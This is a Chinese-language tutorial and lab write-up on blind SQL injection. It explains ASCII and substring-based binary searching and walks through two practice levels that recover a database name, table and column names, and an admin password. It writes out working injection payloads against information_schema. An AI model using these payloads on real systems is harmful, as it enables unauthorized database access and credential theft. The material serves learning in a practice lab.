sql注入中有一种恶劣的情况是没有回显,这个时候就需要盲注:
首先了解一下原理和
盲注:需要将字母转换为数字,ascll码,使用ascii()函数,特性:可以与substr,length配合使用select length ascii(substr(‘abc’,1,1)); 字母ascii码范围: 65-122,使用二分法比较。
举例
1:
查数据库长度:and length(database())>10
查数据库字符:and ascii(substr(database(),1,1))>90
测表的数量and (select count(table_name) from information_schema.tables where table_schema=’database’)>10
小技巧:一般测表数先大于0一下,整明语句没问题。和大于10000,让其出现两种结果
测表的长度:length((select table_name from iformation_schema.tables where table_schema=’s’limit 0,1))>10
测表的字符:and ascii (substr((select table name from information_schema.tables where table.schema=’s’(limit 0,1),1,1)))>90
最后把数字拼接起来,
第七关:
1:查库名长度:为8
查库名ascii码:
第一位:115:
第二位:
更改substr函数的取值范围即可得到八位数:
115,101,99,117,114,105,116,121
换算成ascii码后:
security
2:利用information_schema.table和security库查有几个表
有四个表。
3查这四个表中的第一个表有多长:
第一表长为6:
4查这个表的名字:
第一个:101:
之后分别是
109
97
105
108
115
是emails表,不是我们要找的表,查一下第四个表:
表头是u,应该就是users了:
查users有几个字段:
应该有三个字段:
查一下第三个字段的字段长度:
第三个字段长度为8
之后再查这个字段名字是什么:
第一个字符是112 p
查询后结果是password。
开始查询admin的password:
第一位是97 a 依次查询后的结果是admin
admin密码是admin。
第八关
和第七关雷同,多练练熟练了就行了
查库名长度:先大于8,不对
7对了,也就是8个:(可以用=验证)
然后测数据库名字,第一个字符开始
大于114成功显示大于115不显示,第一个字符ascii码为115,是s
改变substr函数,册数后续字符的ascii码:
100显示,101不显示,所以是101:e
连在一起是:101 109 97 105 108 115
也就是表名为:e m a i l s
因为第四个表表头是117 115是us(不放图,给改参查就行了,盲注太麻烦了),猜测表名为users
查有几个字段:
语句正确,开始测试:
有三个字段
开始测试字段的长度以及:
第一个字段长度:2
第二个字段长度:8
猜测第二个字符和第三个字符是username和password,查询字符ascii码进行确认:
第二个字段的第一个字符是117:u
第三个字段第一个字母:112p
开始爆数据:admin的密码:
第一位是97
后面几个查完后发现是admin
所以admin密码是admin